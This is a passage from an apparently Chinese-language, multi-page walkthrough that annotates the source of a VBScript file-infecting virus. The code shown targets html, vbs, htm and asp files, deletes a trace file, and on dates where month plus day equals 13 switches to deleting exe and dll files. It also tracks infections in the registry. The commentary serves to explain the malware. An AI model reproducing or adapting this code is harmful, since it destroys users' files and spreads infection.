|
|
Else
Main
’都不是，就执行main函数
End If
End Sub
’******************************************************************
’以下为主函数，太长了！
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
’不用说，创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary")
’创建Dictionary对象, 用来保存数据键和项目对，它实际上是一个比较开放的数组
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
’向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER\Software\"
’使用变量以减少代码长度
Ds = Grf()
Cs = Gsf()
If IsVbs Then
’如果是VBS
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
’如果c:\help.htm存在，就删掉，消灭遗留的痕迹
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
’如果月与日之和为13（这也是它变种多的原因——将13改为其他数字即可）
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
’就清空Dictionary数组，并将exe、dll加入Dictionary 对象，以备删除之用
End If
Cn = Rg(Ks & "Help\Count")
’读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
If Cn = "" Then
Cn = 1
’如果Count为0，就设为1
End If
Rw Ks & "Help\Count", Cn + 1
’添加HKEY_CURRENT_USER\Software\Help\Count键值，值为2
f1 = Rg(Ks & "Help\FileName")
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] 下一页
|
|
|
|
|
|
|
|
 |
|
